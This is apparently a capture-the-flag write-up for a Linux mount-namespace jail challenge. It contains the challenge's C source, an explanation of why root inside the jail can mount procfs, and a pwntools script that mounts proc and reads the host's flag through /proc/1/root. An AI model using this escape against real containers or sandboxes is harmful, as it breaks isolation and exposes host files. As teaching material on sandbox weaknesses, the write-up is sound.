Mount Namespace Escape via Procfs

Challenge Source Code

#define _GNU_SOURCE 1
#include <assert.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char **argv) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);

  for (int i = 3; i < 10000; i++)
    close(i);

  char new_root[] = "/tmp/jail-XXXXXX";
  char old_root[1024];

  assert(geteuid() == 0);

  // Create a new mount namespace
  assert(unshare(CLONE_NEWNS) != -1);

  // Create the jail root
  assert(mkdtemp(new_root) != NULL);

  // Change / to a private mount to allow pivot_root
  assert(mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL) != -1);

  // Bind-mount the new root over itself
  assert(mount(new_root, new_root, NULL, MS_BIND, NULL) != -1);

  // Create a directory for the old root
  snprintf(old_root, sizeof(old_root), "%s/old", new_root);
  assert(mkdir(old_root, 0777) != -1);

  // Pivot the root filesystem
  assert(syscall(SYS_pivot_root, new_root, old_root) != -1);

  // Bind-mount essential system directories
  assert(mkdir("/bin", 0755) != -1);
  assert(mount("/old/bin", "/bin", NULL, MS_BIND, NULL) != -1);
  assert(mkdir("/usr", 0755) != -1);
  assert(mount("/old/usr", "/usr", NULL, MS_BIND, NULL) != -1);
  assert(mkdir("/lib", 0755) != -1);
  assert(mount("/old/lib", "/lib", NULL, MS_BIND, NULL) != -1);
  assert(mkdir("/lib64", 0755) != -1);
  assert(mount("/old/lib64", "/lib64", NULL, MS_BIND, NULL) != -1);

  // Unmount the old root directory
  assert(umount2("/old", MNT_DETACH) != -1);
  assert(rmdir("/old") != -1);

  setresuid(0, 0, 0);
  assert(chdir("/") == 0);

  int fffd = open("/flag", O_WRONLY | O_CREAT);
  write(fffd, "try harder", 10);
  close(fffd);

  assert(execl("/bin/bash", "/bin/bash", "-p", NULL) != -1);
}

Vulnerability Analysis

This level improves the sandbox isolation by explicitly unmounting the old root directory (/old) after the pivot. This prevents the simple path traversal used in the previous level.

However, since we are running as root within the namespace and there are no restrictive seccomp filters or LSM profiles (like AppArmor/SELinux), we can mount the proc filesystem (procfs).

procfs provides a window into the kernel’s view of all processes. Crucially, /proc/<pid>/root is a symbolic link to the root directory of a process. In many environments, process 1 (init) or other processes started before the namespace was restricted still have the original host root as their root directory.

Exploitation Plan

1. Mount Proc: Create a new directory /p and mount the proc filesystem to it.
2. Access Host Root: Traverse process 1′s root link to reach the host’s filesystem: /p/1/root/.
3. Read Flag: Read the real flag located at /p/1/root/flag.

Exploit Script

The following script interacts with the shell spawned inside the jail. It executes standard Linux commands to mount procfs and access the host root.

from pwn import *

# Set the target binary
elf = context.binary = ELF("./challenge", checksec=False)

# Start the process
p = process(elf.path)

# 1. Create a directory for proc (in / which exists)
p.sendline(b"mkdir /p")

# 2. Mount the proc filesystem
p.sendline(b"mount -t proc proc /p")

# 3. Read the flag from the host root via /proc/1/root
p.sendline(b"cat /p/1/root/flag")

# 4. Exit the shell
p.sendline(b"exit")

# Receive the output and print the flag
print(p.recvall(timeout=2).decode())